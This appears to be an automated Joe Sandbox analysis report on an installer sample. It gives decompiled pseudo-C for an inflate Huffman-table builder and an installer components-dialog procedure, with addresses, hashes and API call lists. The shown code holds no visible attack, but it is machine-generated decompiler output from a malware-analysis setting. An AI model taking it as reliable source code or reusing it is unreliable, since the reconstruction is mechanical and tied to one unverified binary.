0x00406e9f
0x00000000
0x00406e9f
0x00406de4
0x00406da5
0x00407489
0x0040748c
0x0040748e
0x00407497
0x0040749d
0x00000000

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction ID: 3db1d01f4341fbbb805040525b4c18df43ce82c239752998d09602440244d977
Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction Fuzzy Hash: FEE18A71A0070ADFCB24CF59D880BAABBF5FB44305F15852EE496A72D1D338AA91CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040755C Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040755C(signed char _a4, char _a5, short _a6, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int* _a24, signed int _a28, intOrPtr _a32, signed int* _a36) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				signed int* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v116;
				signed int _v176;
				signed int _v180;
				signed int _v240;
				signed int _t166;
				signed int _t168;
				intOrPtr _t175;
				signed int _t181;
				void* _t182;
				intOrPtr _t183;
				signed int* _t184;
				signed int _t186;
				signed int _t187;
				signed int* _t189;
				signed int _t190;
				intOrPtr* _t191;
				intOrPtr _t192;
				signed int _t193;
				signed int _t195;
				signed int _t200;
				signed int _t205;
				void* _t207;
				short _t208;
				signed char _t222;
				signed int _t224;
				signed int _t225;
				signed int* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				signed int _t236;
				signed int _t244;
				signed int _t246;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				void* _t263;
				void* _t264;
				signed int _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				signed int _t274;
				intOrPtr* _t275;
				unsigned int _t276;
				void* _t277;
				signed int _t278;
				intOrPtr* _t279;
				signed int _t281;
				intOrPtr _t282;
				intOrPtr _t283;
				signed int* _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t296;
				signed int* _t297;
				intOrPtr _t298;
				void* _t299;

				_t278 = _a8;
				_t187 = 0x10;
				memset( &_v116, 0, _t187 << 2);
				_t189 = _a4;
				_t233 = _t278;
				do {
					_t166 =  *_t189;
					_t189 =  &(_t189[1]);
					 *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) =  *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) + 1;
					_t233 = _t233 - 1;
				} while (_t233 != 0);
				if(_v116 != _t278) {
					_t279 = _a28;
					_t267 =  *_t279;
					_t190 = 1;
					_a28 = _t267;
					_t234 = 0xf;
					while(1) {
						_t168 = 0;
						if( *((intOrPtr*)(_t299 + _t190 * 4 - 0x70)) != 0) {
							break;
						}
						_t190 = _t190 + 1;
						if(_t190 <= _t234) {
							continue;
						}
						break;
					}
					_v8 = _t190;
					if(_t267 < _t190) {
						_a28 = _t190;
					}
					while( *((intOrPtr*)(_t299 + _t234 * 4 - 0x70)) == _t168) {
						_t234 = _t234 - 1;
						if(_t234 != 0) {
							continue;
						}
						break;
					}
					_v28 = _t234;
					if(_a28 > _t234) {
						_a28 = _t234;
					}
					 *_t279 = _a28;
					_t181 = 1 << _t190;
					while(_t190 < _t234) {
						_t182 = _t181 -  *((intOrPtr*)(_t299 + _t190 * 4 - 0x70));
						if(_t182 < 0) {
							L64:
							return _t168 | 0xffffffff;
						}
						_t190 = _t190 + 1;
						_t181 = _t182 + _t182;
					}
					_t281 = _t234 << 2;
					_t191 = _t299 + _t281 - 0x70;
					_t269 =  *_t191;
					_t183 = _t181 - _t269;
					_v52 = _t183;
					if(_t183 < 0) {
						goto L64;
					}
					_v176 = _t168;
					 *_t191 = _t269 + _t183;
					_t192 = 0;
					_t235 = _t234 - 1;
					if(_t235 == 0) {
						L21:
						_t184 = _a4;
						_t271 = 0;
						do {
							_t193 =  *_t184;
							_t184 =  &(_t184[1]);
							if(_t193 != _t168) {
								_t232 = _t299 + _t193 * 4 - 0xb0;
								_t236 =  *_t232;
								 *((intOrPtr*)(0x432190 + _t236 * 4)) = _t271;
								 *_t232 = _t236 + 1;
							}
							_t271 = _t271 + 1;
						} while (_t271 < _a8);
						_v16 = _v16 | 0xffffffff;
						_v40 = _v40 & 0x00000000;
						_a8 =  *((intOrPtr*)(_t299 + _t281 - 0xb0));
						_t195 = _v8;
						_t186 =  ~_a28;
						_v12 = _t168;
						_v180 = _t168;
						_v36 = 0x432190;
						_v240 = _t168;
						if(_t195 > _v28) {
							L62:
							_t168 = 0;
							if(_v52 == 0 || _v28 == 1) {
								return _t168;
							} else {
								goto L64;
							}
						}
						_v44 = _t195 - 1;
						_v32 = _t299 + _t195 * 4 - 0x70;
						do {
							_t282 =  *_v32;
							if(_t282 == 0) {
								goto L61;
							}
							while(1) {
								_t283 = _t282 - 1;
								_t200 = _a28 + _t186;
								_v48 = _t283;
								_v24 = _t200;
								if(_v8 <= _t200) {
									goto L45;
								}
								L31:
								_v20 = _t283 + 1;
								do {
									_v16 = _v16 + 1;
									_t296 = _v28 - _v24;
									if(_t296 > _a28) {
										_t296 = _a28;
									}
									_t222 = _v8 - _v24;
									_t254 = 1 << _t222;
									if(1 <= _v20) {
										L40:
										_t256 =  *_a36;
										_t168 = 1 << _t222;
										_v40 = 1;
										_t274 = _t256 + 1;
										if(_t274 > 0x5a0) {
											goto L64;
										}
									} else {
										_t275 = _v32;
										_t263 = _t254 + (_t168 | 0xffffffff) - _v48;
										if(_t222 >= _t296) {
											goto L40;
										}
										while(1) {
											_t222 = _t222 + 1;
											if(_t222 >= _t296) {
												goto L40;
											}
											_t275 = _t275 + 4;
											_t264 = _t263 + _t263;
											_t175 =  *_t275;
											if(_t264 <= _t175) {
												goto L40;
											}
											_t263 = _t264 - _t175;
										}
										goto L40;
									}
									_t168 = _a32 + _t256 * 4;
									_t297 = _t299 + _v16 * 4 - 0xec;
									 *_a36 = _t274;
									_t259 = _v16;
									 *_t297 = _t168;
									if(_t259 == 0) {
										 *_a24 = _t168;
									} else {
										_t276 = _v12;
										_t298 =  *((intOrPtr*)(_t297 - 4));
										 *(_t299 + _t259 * 4 - 0xb0) = _t276;
										_a5 = _a28;
										_a4 = _t222;
										_t262 = _t276 >> _t186;
										_a6 = (_t168 - _t298 >> 2) - _t262;
										 *(_t298 + _t262 * 4) = _a4;
									}
									_t224 = _v24;
									_t186 = _t224;
									_t225 = _t224 + _a28;
									_v24 = _t225;
								} while (_v8 > _t225);
								L45:
								_t284 = _v36;
								_a5 = _v8 - _t186;
								if(_t284 < 0x432190 + _a8 * 4) {
									_t205 =  *_t284;
									if(_t205 >= _a12) {
										_t207 = _t205 - _a12 + _t205 - _a12;
										_v36 =  &(_v36[1]);
										_a4 =  *((intOrPtr*)(_t207 + _a20)) + 0x50;
										_t208 =  *((intOrPtr*)(_t207 + _a16));
									} else {
										_a4 = (_t205 & 0xffffff00 | _t205 - 0x00000100 > 0x00000000) - 0x00000001 & 0x00000060;
										_t208 =  *_t284;
										_v36 =  &(_t284[1]);
									}
									_a6 = _t208;
								} else {
									_a4 = 0xc0;
								}
								_t286 = 1 << _v8 - _t186;
								_t244 = _v12 >> _t186;
								while(_t244 < _v40) {
									 *(_t168 + _t244 * 4) = _a4;
									_t244 = _t244 + _t286;
								}
								_t287 = _v12;
								_t246 = 1 << _v44;
								while((_t287 & _t246) != 0) {
									_t287 = _t287 ^ _t246;
									_t246 = _t246 >> 1;
								}
								_t288 = _t287 ^ _t246;
								_v20 = 1;
								_v12 = _t288;
								_t251 = _v16;
								if(((1 << _t186) - 0x00000001 & _t288) ==  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0))) {
									L60:
									if(_v48 != 0) {
										_t282 = _v48;
										_t283 = _t282 - 1;
										_t200 = _a28 + _t186;
										_v48 = _t283;
										_v24 = _t200;
										if(_v8 <= _t200) {
											goto L45;
										}
										goto L31;
									}
									break;
								} else {
									goto L58;
								}
								do {
									L58:
									_t186 = _t186 - _a28;
									_t251 = _t251 - 1;
								} while (((1 << _t186) - 0x00000001 & _v12) !=  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0)));
								_v16 = _t251;
								goto L60;
							}
							L61:
							_v8 = _v8 + 1;
							_v32 = _v32 + 4;
							_v44 = _v44 + 1;
						} while (_v8 <= _v28);
						goto L62;
					}
					_t277 = 0;
					do {
						_t192 = _t192 +  *((intOrPtr*)(_t299 + _t277 - 0x6c));
						_t277 = _t277 + 4;
						_t235 = _t235 - 1;
						 *((intOrPtr*)(_t299 + _t277 - 0xac)) = _t192;
					} while (_t235 != 0);
					goto L21;
				}
				 *_a24 =  *_a24 & 0x00000000;
				 *_a28 =  *_a28 & 0x00000000;
				return 0;
			}

0x00407567
0x0040756f
0x00407573
0x00407575
0x00407578
0x0040757a
0x0040757a
0x0040757c
0x00407583
0x00407585
0x00407585
0x0040758b
0x004075a0
0x004075a8
0x004075aa
0x004075ac
0x004075af
0x004075b0
0x004075b0
0x004075b6
0x00000000
0x00000000
0x004075b8
0x004075bb
0x00000000
0x00000000
0x00000000
0x004075bb
0x004075bf
0x004075c2
0x004075c4
0x004075c4
0x004075c7
0x004075cd
0x004075ce
0x00000000
0x00000000
0x00000000
0x004075ce
0x004075d3
0x004075d6
0x004075d8
0x004075d8
0x004075de
0x004075e0
0x004075f1
0x004075e4
0x004075e8
0x0040788d
0x00000000
0x0040788d
0x004075ee
0x004075ef
0x004075ef
0x004075f7
0x004075fa
0x004075fe
0x00407600
0x00407602
0x00407605
0x00000000
0x00000000
0x0040760d
0x00407613
0x00407615
0x00407617
0x00407618
0x0040762d
0x0040762d
0x00407630
0x00407632
0x00407632
0x00407634
0x00407639
0x0040763b
0x00407642
0x00407644
0x0040764c
0x0040764c
0x0040764e
0x0040764f
0x0040765e
0x00407662
0x00407666
0x00407669
0x0040766c
0x00407671
0x00407674
0x0040767a
0x00407681
0x00407687
0x00407880
0x00407880
0x00407885
0x00407894
0x00000000
0x00000000
0x00000000
0x00407885
0x00407694
0x00407697
0x0040769a
0x0040769d
0x004076a1
0x00000000
0x00000000
0x004076ac
0x004076af
0x004076b0
0x004076b2
0x004076b8
0x004076bb
0x00000000
0x00000000
0x004076c1
0x004076c2
0x004076c5
0x004076c8
0x004076cb
0x004076d1
0x004076d3
0x004076d3
0x004076db
0x004076df
0x004076e4
0x00407709
0x0040770f
0x00407711
0x00407713
0x00407716
0x0040771f
0x00000000
0x00000000
0x004076e6
0x004076e6
0x004076ef
0x004076f3
0x00000000
0x00000000
0x00407704
0x00407704
0x00407707
0x00000000
0x00000000
0x004076f7
0x004076fa
0x004076fc
0x00407700
0x00000000
0x00000000
0x00407702
0x00407702
0x00000000
0x00407704
0x00407728
0x0040772e
0x00407738
0x0040773a
0x0040773f
0x00407741
0x00407777
0x00407743
0x00407743
0x00407746
0x00407749
0x00407753
0x00407756
0x0040775d
0x00407768
0x0040776f
0x0040776f
0x00407779
0x0040777c
0x0040777e
0x00407784
0x00407784
0x0040778d
0x00407790
0x00407795
0x004077a4
0x004077ac
0x004077b1
0x004077d5
0x004077dd
0x004077e1
0x004077e7
0x004077b3
0x004077c1
0x004077c4
0x004077ca
0x004077ca
0x004077eb
0x004077a6
0x004077a6
0x004077a6
0x004077fc
0x00407800
0x0040780c
0x00407807
0x0040780a
0x0040780a
0x00407814
0x00407819
0x00407821
0x0040781d
0x0040781f
0x0040781f
0x00407827
0x00407829
0x00407830
0x0040783a
0x00407844
0x00407860
0x00407864
0x004076a9
0x004076af
0x004076b0
0x004076b2
0x004076b8
0x004076bb
0x00000000
0x00000000
0x00000000
0x004076bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00407846
0x00407846
0x00407846
0x0040784b
0x00407854
0x0040785d
0x00000000
0x0040785d
0x0040786a
0x0040786a
0x0040786d
0x00407874
0x00407877
0x00000000
0x0040769a
0x0040761a
0x0040761c
0x0040761c
0x00407620
0x00407623
0x00407624
0x00407624
0x00000000
0x0040761c
0x00407590
0x00407596
0x00000000

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4d3fc1c80ea15bf86cc2801d6424e98614acddb7a54358772128df9d71e60e61
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: C6C14871E042599BCF18CF68C8905EEBBB2BF88314F25866AD85677380D7347941CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404F06 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404F06(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x434f28;
				_v28 =  *0x434f10 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x434f19 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404E54(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x434f18) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x42d24c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x42d260;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x42d24c = 0;
								 *0x42d260 = 0;
								 *0x434f60 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x434f19 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404ED4();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x42d260;
									_t201 =  *0x434f28;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x434f2c <= 0) {
										L86:
										if( *0x434fbe == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x433edc + 0x10)) != 0) {
											E00404E0F(0x3ff, 0xfffffffb, E00404E27(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x434f2c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x42d260);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x434f60 = _t291;
					 *0x42d260 = GlobalAlloc(0x40,  *0x434f2c << 2);
					_t258 = LoadImageW( *0x434f00, 0x6e, 0, 0, 0, 0);
					 *0x42d254 =  *0x42d254 | 0xffffffff;
					_t297 = _t258;
					 *0x42d25c = SetWindowLongW(_v8, 0xfffffffc, E00405513);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42d24c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42d24c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E0040657A(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404499(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404499(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x434f2c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x42d260 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x42d260 + _t300 * 4) = _t284;
									_v16 =  *( *0x42d260 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x434f2c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004044CE(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004044CE(_v12);
								L93:
								return E00404500(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404f0d
0x00404f26
0x00404f2b
0x00404f33
0x00404f39
0x00404f4f
0x00404f52
0x0040517d
0x00405184
0x00405198
0x00405186
0x00405188
0x0040518b
0x0040518c
0x00405193
0x00405193
0x004051a4
0x004051b2
0x004051b5
0x004051cb
0x00405240
0x00405243
0x00405245
0x0040524f
0x0040525d
0x0040525d
0x0040525f
0x00405269
0x0040526f
0x00405272
0x00405275
0x00405290
0x00405277
0x00405281
0x00405281
0x00405275
0x00405269
0x00000000
0x00405243
0x004051d0
0x004051db
0x004051e0
0x004051e7
0x004051ec
0x004051f0
0x004051fb
0x004051fb
0x004051ff
0x00405203
0x00405207
0x0040521a
0x00405209
0x00405209
0x00405210
0x00405216
0x00405212
0x00405212
0x00405212
0x00405210
0x0040521e
0x00405220
0x00405233
0x00405236
0x00405239
0x00405239
0x00405203
0x00000000
0x004051f0
0x004051d2
0x004051d9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405293
0x00405293
0x0040529a
0x0040530b
0x00405313
0x0040531b
0x0040531b
0x00405324
0x00405326
0x0040532d
0x00405330
0x00405330
0x00405336
0x0040533d
0x00405340
0x00405340
0x00405346
0x0040534c
0x00405352
0x00405352
0x0040535f
0x004054c0
0x004054c7
0x004054e4
0x004054ea
0x004054fc
0x004054fc
0x00000000
0x00405365
0x00405367
0x0040536c
0x00405371
0x00405376
0x00405378
0x00405378
0x00405379
0x0040537a
0x0040537c
0x0040537c
0x00405384
0x004053c5
0x004053c7
0x004053d7
0x004053da
0x004053df
0x004053e6
0x004053e9
0x0040548b
0x00405494
0x0040549c
0x0040549c
0x004054aa
0x004054bb
0x004054bb
0x00000000
0x004054aa
0x004053ef
0x004053f2
0x004053f8
0x004053fd
0x004053ff
0x00405401
0x00405407
0x0040540e
0x00405413
0x0040541a
0x0040541d
0x0040541d
0x00405424
0x00405430
0x00405434
0x00405436
0x00405436
0x00405426
0x00405428
0x00405428
0x00405456
0x00405462
0x00405471
0x00405471
0x00405473
0x00405476
0x0040547f
0x00000000
0x00405386
0x00405391
0x00405394
0x00405399
0x0040539b
0x0040539f
0x004053af
0x004053b9
0x004053bb
0x004053be
0x00000000
0x00000000
0x00000000
0x00000000
0x004053a1
0x004053a1
0x004053a7
0x004053a9
0x004053a9
0x004053aa
0x004053ab
0x00000000
0x004053a1
0x00405384
0x0040535f
0x004052a2
0x00000000
0x004052b8
0x004052c2
0x004052c7
0x00000000
0x00000000
0x004052d9
0x004052de
0x004052ea
0x004052ea
0x004052ec
0x004052fb
0x004052fd
0x00405301
0x00405304
0x00000000
0x00405304
0x004052a2
0x00404f58
0x00404f5d
0x00404f66
0x00404f6d
0x00404f7f
0x00404f8a
0x00404f90
0x00404f9e
0x00404fb2
0x00404fb7
0x00404fc4
0x00404fc9
0x00404fdf
0x00404ff0
0x00404ffd
0x00404ffd
0x00405000
0x00405006
0x00405008
0x0040500b
0x00405010
0x00405015
0x00405017
0x00405017
0x00405037
0x00405037
0x00405039
0x0040503a
0x0040503f
0x00405045
0x00405049
0x0040504e
0x00405056
0x0040505a
0x0040505f
0x00405064
0x0040506c
0x0040506f
0x0040513f
0x00405152
0x00000000
0x00405075
0x00405078
0x0040507b
0x0040507e
0x0040507e
0x00405084
0x0040508d
0x00405090
0x00405094
0x00405097
0x0040509a
0x004050a3
0x004050ac
0x004050af
0x004050b2
0x004050b5
0x004050f3
0x0040511e
0x004050f5
0x00405104
0x00405104
0x004050b7
0x004050ba
0x004050c8
0x004050d2
0x004050da
0x004050e1
0x004050ec
0x004050ec
0x004050b5
0x00405124
0x00405125
0x00405131
0x00405131
0x0040513d
0x00405158
0x0040515b
0x00405178
0x00000000
0x0040515d
0x00405162
0x0040516b
0x004054fe
0x00405510
0x00405510
0x0040515b
0x00000000
0x0040513d
0x0040506f

APIs

GetDlgItem.USER32 ref: 00404F1E
GetDlgItem.USER32 ref: 00404F29
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F73
LoadImageW.USER32 ref: 00404F8A
SetWindowLongW.USER32(?,000000FC,00405513), ref: 00404FA3
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB7
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FC9
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDF
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FEB
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFD
DeleteObject.GDI32(00000000), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040525D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052D7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FB
